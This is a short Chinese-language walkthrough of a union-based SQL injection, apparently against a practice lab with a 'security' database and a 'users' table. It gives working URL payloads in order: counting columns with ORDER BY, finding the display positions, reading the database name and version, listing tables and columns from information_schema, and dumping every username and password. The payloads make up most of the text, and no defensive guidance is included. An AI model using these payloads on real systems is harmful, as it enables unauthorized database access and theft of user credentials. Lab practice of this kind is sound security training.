一、判断一下是否存在SQL注入
可以判断出来sql语句是字符型而且存在sql注入漏洞,页面有回显则我们可以使用联合查询
二、开始联合注入
1、首先我们查询一下表有几列
?id=1'order by 3 --+
得出来有三列
2、看一下显示位是哪个
?id=-1'union select 1,2,3--+
由此我们可查询数据库名称以及版本号
3、开始查询
?id=-1'union select 1,database(),version()--+
然后我们查询该数据库下的table表
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
然后我们找到user表了之后我们在user表里的所有列的信息
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
至此,我们得到两个敏感字段就是username和password,然后我们就可以得到每个用户名对应的密码(防止分不清用户名密码在username和password中间加了个id)
?id=-1' union select 1,group_concat(username ,id , password),3 from users--+
即此次SQL注入成功